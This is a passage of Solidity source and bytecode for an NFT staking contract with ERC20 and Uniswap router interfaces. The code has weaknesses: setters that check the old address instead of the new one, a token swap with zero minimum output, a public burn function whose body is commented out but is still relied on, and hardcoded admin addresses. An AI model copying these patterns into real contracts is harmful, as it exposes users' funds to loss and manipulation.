uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { using SafeMathUpgradeable for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(uint256 amount) public virtual { // require(_balances[msg.sender] >= amount,'insufficient balance!'); // _beforeTokenTransfer(msg.sender, address(0x000000000000000000000000000000000000dEaD), amount); // _balances[msg.sender] = _balances[msg.sender].sub(amount, "ERC20: burn amount exceeds balance"); // _totalSupply = _totalSupply.sub(amount); // emit Transfer(msg.sender, address(0x000000000000000000000000000000000000dEaD), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[45] private __gap; } contract BearXNFTStaking is OwnableUpgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; //-------------constant value------------------// address private UNISWAP_V2_ROUTER; address private WETH; uint256 DURATION_FOR_REWARDS; uint256 DURATION_FOR_STOP_REWARDS; address public BearXNFTAddress; address public ROOTxTokenAddress; address public SROOTxTokenAddress; uint256 public totalStakes; uint256 public MaxSROOTXrate; uint256 public MinSROOTXrate; uint256 public MaxRate; uint256 public MinRate; uint256 public maxprovision; uint256 public RateValue; uint256 public SROOTRateValue; struct stakingInfo { uint256 nft_id; uint256 stakedDate; uint256 claimedDate_SROOT; uint256 claimedDate_WETH; uint256 claimedDate_ROOTX; } mapping(address => stakingInfo[]) internal stakes; address[] internal stakers; uint256 public RootX_Store; // 1.29 update mapping(address => bool) internal m_stakers; bool ismaptransfered; // 2.15 update bool public islocked; // 3.1 update uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function initialize() public initializer{ __Ownable_init(); UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; DURATION_FOR_REWARDS = 1 days; DURATION_FOR_STOP_REWARDS = 3650 days; BearXNFTAddress = 0xE22e1e620dffb03065CD77dB0162249c0c91bf01; ROOTxTokenAddress = 0xd718Ad25285d65eF4D79262a6CD3AEA6A8e01023; SROOTxTokenAddress = 0x99CFDf48d0ba4885A73786148A2f89d86c702170; totalStakes = 0; MaxSROOTXrate = 100*10**18; MinSROOTXrate = 50*10**18; MaxRate = 11050*10**18; MinRate = 500*10**18; maxprovision = 3000; RateValue = ((MaxRate - MinRate) / maxprovision); SROOTRateValue = (( MaxSROOTXrate - MinSROOTXrate ) / maxprovision); RootX_Store=0; ismaptransfered = false; } //3.1 update function __ReentrancyGuard_init() external { require(msg.sender == 0xd0d725208fd36BE1561050Fc1DD6a651d7eA7C89, "You are not Admin"); __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal { _status = _NOT_ENTERED; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } function getAmountOutMin( address _tokenIn, address _tokenOut, uint256 _amountIn ) internal view returns (uint256) { address[] memory path; path = new address[](2); path[0] = _tokenIn; path[1] = _tokenOut; // same length as path uint256[] memory amountOutMins = IUniswapV2Router(UNISWAP_V2_ROUTER) .getAmountsOut(_amountIn, path); return amountOutMins[path.length - 1]; } function setBearXNFTAddress(address _addr) external { require(msg.sender == 0xd0d725208fd36BE1561050Fc1DD6a651d7eA7C89, "You are not admin"); require(BearXNFTAddress.isContract(), "Address is not contract"); BearXNFTAddress = _addr; } function setROOTxTokenAddress(address _addr) external { require(msg.sender == 0xd0d725208fd36BE1561050Fc1DD6a651d7eA7C89, "You are not admin"); require(ROOTxTokenAddress.isContract(), "Address is not contract"); ROOTxTokenAddress = _addr; } function setSROOTxTokenAddress(address _addr) external { require(msg.sender == 0xd0d725208fd36BE1561050Fc1DD6a651d7eA7C89, "You are not admin"); require(SROOTxTokenAddress.isContract(), "Address is not contract"); SROOTxTokenAddress = _addr; } function getAPR() public view returns (uint256) { uint256 A = MaxSROOTXrate * (1 + (1 * MaxRate) / 100); uint256 temp = A - MaxSROOTXrate; uint256 APR = ((temp / MaxSROOTXrate) / 1) * 1 * 100; return APR; } // 2.1 update function get_APR() public view returns(uint256) { uint256 APR = MaxRate; return APR; } // 1.29 update function is_m_Staker(address _address) public view returns(bool, address) { if(m_stakers[_address] == true) { return (true, _address); } else { return (false, 0x0000000000000000000000000000000000000000); } } function addStaker(address _addr) internal { m_stakers[_addr] = true; } function removeStaker(address _addr) internal { (bool _isStaker, address _address) = is_m_Staker(_addr); if(_isStaker) { delete m_stakers[_address]; } } function stakeOf(address _addr) public view returns (uint256[] memory) { uint256[] memory _iids = new uint256[](stakes[_addr].length); for (uint256 i = 0; i < stakes[_addr].length; i++) { _iids[i] = stakes[_addr][i].nft_id; } return _iids; } function createStake(uint256[] memory _ids) external { (RootX_Store,,) = claimOf(msg.sender); for (uint256 i = 0; i < _ids.length; i++) { _createStake(_ids[i], msg.sender); } } function _createStake(uint256 _id, address _addr) internal { if (MaxRate >= MinRate) { // MaxRate -= RateValue; MaxSROOTXrate -= SROOTRateValue; // 2.1 updated MaxRate = MaxRate.sub(10*(10**18)); } require( IERC721Upgradeable(BearXNFTAddress).ownerOf(_id) == _addr, "You are not a owner of the nft" ); require( IERC721Upgradeable(BearXNFTAddress).isApprovedForAll(msg.sender, address(this)) == true, "You should approve nft to the staking contract" ); IERC721Upgradeable(BearXNFTAddress).transferFrom( _addr, address(this), _id ); // (bool _isStaker, ) = isStaker(_addr); (bool _isStaker, ) = is_m_Staker(_addr); stakingInfo memory sInfo = stakingInfo( _id, block.timestamp, block.timestamp, block.timestamp, block.timestamp ); totalStakes = totalStakes.add(1); stakes[_addr].push(sInfo); if (_isStaker == false) { // addStaker(_addr); m_stakers[_addr] = true; } } function unStake(uint256[] memory _ids) public isOnlyStaker nonReentrant{ // 2.15 update require(!islocked, "Locked"); uint256[] memory ownerIds = stakeOf(msg.sender); require(_ids.length <= ownerIds.length, "Id errors"); uint256 temp = 0; for(uint256 i=0; i<_ids.length;i++) { for(uint256 j=0;j<ownerIds.length;j++) { if(_ids[i] == ownerIds[j]) { temp = temp.add(1); } } } if(temp == _ids.length) { // 2.1 updated uint256 numOfunstaked = _ids.length; MaxRate = MaxRate.add(numOfunstaked.mul(10*(10**18))); for (uint256 i = 0; i < _ids.length; i++) { IERC721Upgradeable(BearXNFTAddress).transferFrom( address(this), msg.sender, _ids[i] ); totalStakes--; removeNFT(msg.sender, _ids[i]); } } } function claimAll() internal { _claimOfROOTxToken(msg.sender); if(!isVested(msg.sender)){ _claimOfSROOTxToken(msg.sender); _claimOfWETH(msg.sender); } } function _claimOfROOTxToken(address _addr) internal { (uint256 Rootamount, , ) = claimOf(_addr); if (Rootamount > 0) { RootX_Store = 0; IERC20Upgradeable(ROOTxTokenAddress).transfer(_addr, Rootamount); for (uint256 i = 0; i < stakes[_addr].length; i++) { stakes[_addr][i].claimedDate_ROOTX = block.timestamp; } } } function _claimOfSROOTxToken(address _addr) internal { (, uint256 SROOTamount, ) = claimOf(_addr); if (SROOTamount > 0) { IERC20Upgradeable(SROOTxTokenAddress).transfer(_addr, SROOTamount); for (uint256 i = 0; i < stakes[_addr].length; i++) { stakes[_addr][i].claimedDate_SROOT = block.timestamp; } } } function _claimOfWETH(address _addr) internal { (, uint256 ETHamount, ) = claimOf(_addr); if (ETHamount > 0) { IERC20Upgradeable(SROOTxTokenAddress).approve( UNISWAP_V2_ROUTER, ETHamount ); address[] memory path; path = new address[](2); path[0] = SROOTxTokenAddress; path[1] = WETH; IUniswapV2Router(UNISWAP_V2_ROUTER) .swapExactTokensForETHSupportingFeeOnTransferTokens( ETHamount, 0, path, _addr, block.timestamp ); for (uint256 i = 0; i < stakes[_addr].length; i++) { stakes[_addr][i].claimedDate_WETH = block.timestamp; } } } function claimOfROOTxToken() external isOnlyStaker nonReentrant{ _claimOfROOTxToken(msg.sender); } function claimOfSROOTxToken() external isOnlyStaker nonReentrant{ if(!isVested(msg.sender)){ _claimOfSROOTxToken(msg.sender); } } function claimOfWETH() external isOnlyStaker nonReentrant{ if(!isVested(msg.sender)) { _claimOfWETH(msg.sender); } } // 2.8 updated function claimOf(address _addr) public view returns (uint256, uint256, uint256 ) { uint256 claimAmountOfROOTxToken = 0; uint256 claimAmountOfSROOTxToken = 0; uint256 claimAmountOfWETH = 0; uint256 Temp_claimAmountOfWETH = 0; address addr = _addr; (uint256 sumofspecialbear, ) = getSpecialBear(addr); (uint256 sumofgenesisbear, ) = getGenesisBear(addr); if (sumofgenesisbear >= 5) { bool flag = true; for (uint256 i = 0; i < stakes[addr].length; i++) { ///ROOTX uint256 dd_root = calDay(stakes[addr][i].claimedDate_ROOTX); if ((isGenesisBear(stakes[addr][i].nft_id) || isSpecialBear(stakes[addr][i].nft_id)) && dd_root <1) { flag = false; } if (flag && stakes[addr].length != 0) { claimAmountOfROOTxToken = RootX_Store.div(10**18).add(10*dd_root*sumofgenesisbear).add(10*dd_root*sumofspecialbear); } else if(!flag) { claimAmountOfROOTxToken = RootX_Store.div(10**18); } /// SROOTX and WETH if (isSpecialBear(stakes[addr][i].nft_id)) { uint256 dd_srootx = calDay(stakes[addr][i].claimedDate_SROOT); uint256 dd_weth = dd_srootx; claimAmountOfSROOTxToken = claimAmountOfSROOTxToken.add(200 * (10**18) * dd_srootx); claimAmountOfWETH = claimAmountOfWETH.add(200 * (10**18) * dd_weth); } else if (isGenesisBear(stakes[addr][i].nft_id)) { uint256 dd_srootx = calDay(stakes[addr][i].claimedDate_SROOT); uint256 dd_weth = dd_srootx; claimAmountOfSROOTxToken = claimAmountOfSROOTxToken.add((dd_srootx * MaxSROOTXrate ) / 2); claimAmountOfWETH = claimAmountOfWETH.add((dd_weth * MaxSROOTXrate ) / 2); } } if (claimAmountOfWETH != 0) { Temp_claimAmountOfWETH = getAmountOutMin( SROOTxTokenAddress, WETH, claimAmountOfWETH ); } } else { ///SROOT and WETH and ROOTx for (uint256 i = 0; i < stakes[addr].length; i++) { if (isSpecialBear(stakes[addr][i].nft_id)) { uint256 dd_root = calDay(stakes[addr][i].claimedDate_ROOTX); claimAmountOfROOTxToken = claimAmountOfROOTxToken.add(dd_root * 10); uint256 dd_sroot = calDay(stakes[addr][i].claimedDate_SROOT); claimAmountOfSROOTxToken = claimAmountOfSROOTxToken.add(200 * (10**18) * dd_sroot); uint256 dd_weth = calDay(stakes[addr][i].claimedDate_WETH); claimAmountOfWETH = claimAmountOfWETH.add( 200 * (10**18) * dd_weth ); } if (isGenesisBear(stakes[addr][i].nft_id)) { uint256 dd_root = calDay(stakes[addr][i].claimedDate_ROOTX); claimAmountOfROOTxToken = claimAmountOfROOTxToken.add(dd_root * 10); } } if (claimAmountOfWETH != 0) { Temp_claimAmountOfWETH = getAmountOutMin(SROOTxTokenAddress,WETH,claimAmountOfWETH); } } return ( claimAmountOfROOTxToken * (10**18), claimAmountOfSROOTxToken, Temp_claimAmountOfWETH ); } function calDay(uint256 ts) internal view returns (uint256) { return (block.timestamp - ts) / DURATION_FOR_REWARDS; } function removeNFT(address _addr, uint256 _id) internal { for (uint256 i = 0; i < stakes[_addr].length; i++) { if (stakes[_addr][i].nft_id == _id) { stakes[_addr][i] = stakes[_addr][stakes[_addr].length - 1]; stakes[_addr].pop(); } } if (stakes[_addr].length <= 0) { delete stakes[_addr]; removeStaker(_addr); } } function isGenesisBear(uint256 _id) internal pure returns (bool) { bool returned; if (_id >= 0 && _id <= 3700) { returned = true; } else { returned = false; } return returned; } function isSpecialBear(uint256 _id) internal pure returns (bool) { bool returned; if (_id >= 1000000000000 && _id <= 1000000000005) { returned = true; } return returned; } function getSpecialBear(address _addr) public view returns (uint256, uint256[] memory) { uint256 sumofspecialbear = 0; for (uint256 i = 0; i < stakes[_addr].length; i++) { if (isSpecialBear(stakes[_addr][i].nft_id)) { sumofspecialbear += 1; } } uint256[] memory nft_ids = new uint256[](sumofspecialbear); uint256 add_length = 0; for (uint256 i = 0; i < stakes[_addr].length; i++) { if (isSpecialBear(stakes[_addr][i].nft_id)) { nft_ids[add_length] = (stakes[_addr][i].nft_id); add_length = add_length.add(1); } } return (sumofspecialbear, nft_ids); } function getGenesisBear(address _addr) public view returns (uint256, uint256[] memory) { uint256 sumofgenesisbear = 0; for (uint256 i = 0; i < stakes[_addr].length; i++) { if (isGenesisBear(stakes[_addr][i].nft_id)) { sumofgenesisbear = sumofgenesisbear.add(1); } } uint256[] memory nft_ids = new uint256[](sumofgenesisbear); uint256 add_length = 0; for (uint256 i = 0; i < stakes[_addr].length; i++) { if (isGenesisBear(stakes[_addr][i].nft_id)) { nft_ids[add_length] = (stakes[_addr][i].nft_id); add_length = add_length.add(1); } } return (sumofgenesisbear, nft_ids); } function isMiniBear(uint256 _id) internal pure returns (bool) { if (_id < 10000000000006) return false; if (_id > 10000000005299) return false; else return true; } function getMiniBear(address _addr) public view returns (uint256, uint256[] memory) { uint256 sumofminibear = 0; for (uint256 i = 0; i < stakes[_addr].length; i++) { if (isMiniBear(stakes[_addr][i].nft_id)) { sumofminibear += 1; } } uint256[] memory nft_ids = new uint256[](sumofminibear); uint256 add_length = 0; for (uint256 i = 0; i < stakes[_addr].length; i++) { if (isMiniBear(stakes[_addr][i].nft_id)) { nft_ids[add_length] = (stakes[_addr][i].nft_id); add_length = add_length.add(1); } } return (sumofminibear, nft_ids); } modifier isOnlyStaker() { // (bool _isStaker, ) = isStaker(msg.sender); (bool _isStaker, ) = is_m_Staker(msg.sender); require(_isStaker, "You are not staker"); _; } modifier isOnlyGenesisBear(uint256 _id) { require(_id >= 0, "NFT id should be greater than 0"); require(_id <= 3699, "NFT id should be smaller than 3699"); _; } modifier isOnlyMiniBear(uint256 _id) { require( _id >= 10000000000000, "NFT id should be greate than 10000000000000" ); require( _id <= 10000000005299, "NFT id should be smaller than 10000000005299" ); _; } modifier isOwnerOf(uint256 _id, address _addr) { bool flag = false; for (uint256 i = 0; i < stakes[_addr].length; i++) { if (stakes[_addr][i].nft_id == _id) flag = true; } if (flag) _; } function isVested(address _addr) public view returns (bool) { bool status = true; for (uint256 i = 0; i < stakes[_addr].length; i++) { uint256 dd = calDay(stakes[_addr][i].stakedDate); if (dd <= 60) continue; status = false; } return status; } // 2.11 function BurnRootx_mintSrootx (uint256 _amount) public { require(IERC20Upgradeable(ROOTxTokenAddress).allowance(msg.sender, 0x871770E3e03bFAEFa3597056e540A1A9c9aC7f6b) >= _amount, "You have to approve rootx to staking contract"); IERC20Upgradeable(ROOTxTokenAddress).transferFrom(msg.sender, 0x871770E3e03bFAEFa3597056e540A1A9c9aC7f6b, _amount); ERC20Upgradeable(ROOTxTokenAddress)._burn(_amount); IERC20Upgradeable(SROOTxTokenAddress).mintToken(msg.sender, _amount.mul(5)); } function lock () public { require(msg.sender == 0xd0d725208fd36BE1561050Fc1DD6a651d7eA7C89, "You are not admin"); islocked = !islocked; } function TransferROOTxToken(address _addr, uint256 _amount) public { require(msg.sender == 0xd0d725208fd36BE1561050Fc1DD6a651d7eA7C89, "You are not admin"); IERC20Upgradeable(ROOTxTokenAddress).transfer(_addr, _amount); } }
0x608060405234801561001057600080fd5b50600436106102315760003560e01c80638129fc1c11610130578063bca35a71116100b8578063dada55011161007c578063dada550114610476578063f2fde38b14610489578063f83d08ba1461049c578063fbb00227146104a4578063fccd7f72146104ac57600080fd5b8063bca35a7114610418578063bf9befb11461042b578063c89d5b8b14610434578063d5d423001461043c578063d976e09f1461044457600080fd5b8063b10dcc93116100ff578063b10dcc93146103d8578063b1c92f95146103eb578063b81f8e89146103f4578063b9ade5b7146103fc578063ba0848db1461040557600080fd5b80638129fc1c146103ae5780638da5cb5b146103b657806397cee86a146103c7578063aaed083b146103cf57600080fd5b8063367c164e116101be5780635923489b116101825780635923489b146103425780636e2751211461036d578063706ce3e114610380578063715018a614610393578063760a2e8a1461039b57600080fd5b8063367c164e146102c857806338ff8a85146102db5780633a17f4f0146102fc5780633c9d01a11461030f578063426233601461032257600080fd5b8063206635e711610205578063206635e7146102785780632afe761a1461028b5780632bd30f1114610294578063305f839a146102b657806333ddacd1146102bf57600080fd5b8062944f62146102365780630d00368b1461024b5780630e8feed414610267578063120957fd1461026f575b600080fd5b610249610244366004612c56565b6104da565b005b61025460735481565b6040519081526020015b60405180910390f35b610249610561565b610254606d5481565b610249610286366004612cde565b6105d2565b610254606f5481565b6078546102a690610100900460ff1681565b604051901515815260200161025e565b61025460715481565b61025460765481565b6102496102d6366004612d74565b610625565b6102ee6102e9366004612c56565b61087d565b60405161025e929190612dc8565b61024961030a366004612c56565b610a35565b61024961031d366004612de1565b610ab3565b610335610330366004612c56565b610b62565b60405161025e9190612e0d565b606a54610355906001600160a01b031681565b6040516001600160a01b03909116815260200161025e565b6102ee61037b366004612c56565b610c58565b606b54610355906001600160a01b031681565b610249610e04565b6102a66103a9366004612c56565b610e6a565b610249610efe565b6033546001600160a01b0316610355565b6102496110fd565b61025460705481565b6102496103e6366004612cde565b61115e565b610254606e5481565b6102496113f4565b61025460725481565b6102ee610413366004612c56565b611450565b610249610426366004612c56565b6115fc565b610254606c5481565b61025461167a565b606f54610254565b610457610452366004612c56565b6116fe565b6040805192151583526001600160a01b0390911660208301520161025e565b606954610355906001600160a01b031681565b610249610497366004612c56565b611739565b610249611801565b610249611851565b6104bf6104ba366004612c56565b6118ba565b6040805193845260208401929092529082015260600161025e565b73d0d725208fd36be1561050fc1dd6a651d7ea7c8933146105165760405162461bcd60e51b815260040161050d90612e20565b60405180910390fd5b606b546001600160a01b03163b61053f5760405162461bcd60e51b815260040161050d90612e4b565b606b80546001600160a01b0319166001600160a01b0392909216919091179055565b600061056c336116fe565b5090508061058c5760405162461bcd60e51b815260040161050d90612e82565b600260795414156105af5760405162461bcd60e51b815260040161050d90612eae565b60026079556105bd33610e6a565b6105ca576105ca33611e4c565b506001607955565b6105db336118ba565b505060765560005b81518110156106215761060f82828151811061060157610601612ee5565b602002602001015133611f4f565b8061061981612f11565b9150506105e3565b5050565b606a54604051636eb1769f60e11b815233600482015273871770e3e03bfaefa3597056e540a1a9c9ac7f6b602482015282916001600160a01b03169063dd62ed3e90604401602060405180830381865afa158015610687573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ab9190612f2c565b101561070f5760405162461bcd60e51b815260206004820152602d60248201527f596f75206861766520746f20617070726f766520726f6f747820746f2073746160448201526c1ada5b99c818dbdb9d1c9858dd609a1b606482015260840161050d565b606a546040516323b872dd60e01b815233600482015273871770e3e03bfaefa3597056e540a1a9c9ac7f6b6024820152604481018390526001600160a01b03909116906323b872dd906064016020604051808303816000875af115801561077a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079e9190612f45565b50606a546040516326c7e79d60e21b8152600481018390526001600160a01b0390911690639b1f9e7490602401600060405180830381600087803b1580156107e557600080fd5b505af11580156107f9573d6000803e3d6000fd5b5050606b546001600160a01b031691506379c6506890503361081c846005612276565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b15801561086257600080fd5b505af1158015610876573d6000803e3d6000fd5b5050505050565b600060606000805b6001600160a01b038516600090815260746020526040902054811015610910576001600160a01b038516600090815260746020526040902080546108eb9190839081106108d4576108d4612ee5565b9060005260206000209060050201600001546122fe565b156108fe576108fb600183612f67565b91505b8061090881612f11565b915050610885565b5060008167ffffffffffffffff81111561092c5761092c612c73565b604051908082528060200260200182016040528015610955578160200160208202803683370190505b5090506000805b6001600160a01b038716600090815260746020526040902054811015610a29576001600160a01b038716600090815260746020526040902080546109ab9190839081106108d4576108d4612ee5565b15610a17576001600160a01b03871660009081526074602052604090208054829081106109da576109da612ee5565b9060005260206000209060050201600001548383815181106109fe576109fe612ee5565b6020908102919091010152610a14826001612329565b91505b80610a2181612f11565b91505061095c565b50919590945092505050565b73d0d725208fd36be1561050fc1dd6a651d7ea7c893314610a685760405162461bcd60e51b815260040161050d90612e20565b6069546001600160a01b03163b610a915760405162461bcd60e51b815260040161050d90612e4b565b606980546001600160a01b0319166001600160a01b0392909216919091179055565b73d0d725208fd36be1561050fc1dd6a651d7ea7c893314610ae65760405162461bcd60e51b815260040161050d90612e20565b606a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610b39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5d9190612f45565b505050565b6001600160a01b0381166000908152607460205260408120546060919067ffffffffffffffff811115610b9757610b97612c73565b604051908082528060200260200182016040528015610bc0578160200160208202803683370190505b50905060005b6001600160a01b038416600090815260746020526040902054811015610c51576001600160a01b0384166000908152607460205260409020805482908110610c1057610c10612ee5565b906000526020600020906005020160000154828281518110610c3457610c34612ee5565b602090810291909101015280610c4981612f11565b915050610bc6565b5092915050565b600060606000805b6001600160a01b0385